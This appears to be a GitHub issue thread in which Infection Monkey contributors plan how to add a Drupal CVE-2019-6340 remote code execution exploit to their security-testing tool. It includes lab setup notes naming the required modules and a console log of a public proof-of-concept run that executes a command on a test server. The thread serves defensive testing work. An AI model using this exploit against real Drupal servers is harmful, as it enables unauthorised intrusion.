CVE-2019-6340 (Drupal exploit)

[ShayNehmad]

https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a

• Add the exploit to Monkey
• Add the exploit test to Zoo

[ophirharpazg]

• Decide which class is more appropriate for this exploit (WebRCE or HostExploiter)
• Add a new exploit file and make it run some dummy code when Drupal port / server is found
• Get a vulnerable Drupal server up and running
• Integrate the exploit code into the monkey (logs, telemetry)
• Add content on exploit findings to the Monkey report (CVE details, mitigation)
• Add an automatic test to the Monkey Zoo

Some more things:

• Is a scanner needed to identify Drupal servers? Or should we simply add a port number to the configuration?

[VakarisZ]

Use WebRCE for this one. Regarding ports, I think we have a list of webports that we try for all web exploits. If drupal has a unique default port then add it to config, but as far as scanning goes, we only need custom scanner if the actual exploit attempt takes a long time.

[ophirharpazg]

FWIW, to set up a vulnerable Drupal server I used this tutorial, and made sure the following modules are installed (in the Drupal UI Extend menu):

• REST Web Services
• HTTP Basic Authentication
• Node

For experimenting with the exploit quoted in this issue, you need to be acquainted with clearing cache, which is done from Configuration > Performance menu.

Running the exploit looks like that:

PS C:\Users\ophir.harpaz\Desktop\Guardicore\monkey\drupal> python .\cve-2019-6340.py http://172.23.74.255/ id
CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
 by @leonjza

References:
 https://www.drupal.org/sa-core-2019-003
 https://www.ambionics.io/blog/drupal8-rce

[warning] Caching heavily affects reliability of this exploit.
Nodes are used as they are discovered, but once they are done,
you will have to wait for cache expiry.

Targetting http://172.23.74.255/...
[+] Finding a usable node id...
[+] Using node_id 1
requesting http://172.23.74.255/node/1
[+] Target appears to be vulnerable!

uid=33(www-data) gid=33(www-data) groups=33(www-data)

[ophirharpazg]

[VakarisZ]

Nice! But icons tell me that you need to backmerge